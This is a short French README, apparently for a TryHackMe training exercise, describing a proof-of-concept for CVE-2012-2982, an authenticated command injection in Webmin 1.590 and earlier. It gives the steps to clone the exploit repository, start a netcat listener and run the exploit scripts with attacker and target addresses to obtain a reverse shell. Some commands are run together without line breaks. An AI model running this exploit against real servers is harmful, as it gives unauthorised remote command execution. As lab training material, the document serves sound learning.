
Pratiquez le scripting POC dans la salle intro poc scripting de Tryhackme (pour Linux)
file/show.cgi dans Webmin 1.590 et antérieur permet aux utilisateurs authentifiés distants d'exécuter des commandes arbitraires via un caractère invalide dans un chemin, comme démontré par un caractère | (pipe).
git clone https://github.com/CpyRe/CVE-2012-2982.gitpip3 install -r requirements.txtnc -nlvp <port>python3 exp.py <myip> <vulnip> <port>
OU
python3 subprocess-exp.py <myip> <vulnip> <port>